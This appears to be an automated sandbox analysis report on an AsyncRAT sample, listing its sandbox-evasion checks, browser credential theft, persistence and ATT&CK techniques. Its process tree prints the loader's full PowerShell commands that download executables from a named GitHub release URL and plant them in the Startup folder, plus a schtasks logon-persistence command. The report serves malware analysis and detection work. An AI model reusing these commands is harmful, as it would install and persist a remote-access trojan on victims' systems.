asyncrat | 412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	output.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	716	powershell.exe
9	716	powershell.exe
24	4864	powershell.exe
25	4864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe
3252	powershell.exe
716	powershell.exe
4864	powershell.exe

Downloads MZ/PE file

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	output.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	output.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Loader.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
4268	output.exe
1532	Loader.exe
1972	WINDOWS.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip4.seeip.org
42	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	output.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	output.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 1 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	output.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	output.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1140	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	output.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4576	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
716	powershell.exe
716	powershell.exe
4840	powershell.exe
4840	powershell.exe
4864	powershell.exe
4864	powershell.exe
3252	powershell.exe
3252	powershell.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1532	Loader.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe
1972	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	716	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	4268	output.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	1532	Loader.exe
Token: SeDebugPrivilege	1532	Loader.exe
Token: SeDebugPrivilege	1972	WINDOWS.exe
Token: SeDebugPrivilege	1972	WINDOWS.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 716	4376	cmd.exe	83
PID 4376 wrote to memory of 716	4376	cmd.exe	83
PID 4376 wrote to memory of 4840	4376	cmd.exe	84
PID 4376 wrote to memory of 4840	4376	cmd.exe	84
PID 4376 wrote to memory of 4268	4376	cmd.exe	88
PID 4376 wrote to memory of 4268	4376	cmd.exe	88
PID 4376 wrote to memory of 4864	4376	cmd.exe	90
PID 4376 wrote to memory of 4864	4376	cmd.exe	90
PID 4376 wrote to memory of 3252	4376	cmd.exe	93
PID 4376 wrote to memory of 3252	4376	cmd.exe	93
PID 4376 wrote to memory of 1532	4376	cmd.exe	94
PID 4376 wrote to memory of 1532	4376	cmd.exe	94
PID 1532 wrote to memory of 1748	1532	Loader.exe	96
PID 1532 wrote to memory of 1748	1532	Loader.exe	96
PID 1532 wrote to memory of 3632	1532	Loader.exe	98
PID 1532 wrote to memory of 3632	1532	Loader.exe	98
PID 3632 wrote to memory of 1140	3632	cmd.exe	101
PID 3632 wrote to memory of 1140	3632	cmd.exe	101
PID 1748 wrote to memory of 4576	1748	cmd.exe	100
PID 1748 wrote to memory of 4576	1748	cmd.exe	100
PID 3632 wrote to memory of 1972	3632	cmd.exe	104
PID 3632 wrote to memory of 1972	3632	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Users\Admin\Desktop\output.exe
  C:\Users\Admin\Desktop\output.exe
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Maps connected drives based on registry
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:4268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3252
- C:\Users\Admin\Desktop\Loader.exe
  C:\Users\Admin\Desktop\Loader.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp925D.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3632
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:1140
  - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
      "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion